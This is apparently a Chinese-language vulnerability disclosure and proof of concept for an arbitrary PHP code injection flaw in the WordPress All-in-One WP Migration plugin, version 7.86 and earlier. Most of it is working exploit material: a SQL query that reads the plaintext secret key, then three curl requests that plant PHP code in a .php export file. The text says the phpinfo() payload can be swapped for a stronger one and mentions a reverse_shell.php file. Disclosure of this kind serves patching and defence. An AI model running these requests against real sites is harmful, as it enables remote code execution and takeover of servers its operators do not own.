WordPress 的 All-in-One WP Migration 插件 在 7.86 及之前的所有版本中，由于导出期间缺少文件类型验证，容易受到任意 PHP 代码注入攻击。这使得拥有管理员及以上权限的已认证攻击者能够在受影响站点的服务器上创建带有 .php 扩展名的导出文件，并向其中添加任意 PHP 代码，从而可能导致远程代码执行。
ai1wm_secret_key 是插件初始化时生成的 12 字符字母数字字符串。该密钥永不轮换、不会过期，并且以明文形式存储在 wp_options 表中。
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)
这将创建一个包含 phpinfo(); 调用的 PHP 文件，可以像手动复现部分所示那样替换为更好的载荷。请注意，除了密钥参数外，不需要任何授权。
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo
PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
需要注意，通过这些步骤创建的 php 文件会首先出现在 wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php，随后被脚本删除并移至 wp-content/ai1wm-backups/reverse_shell.php。
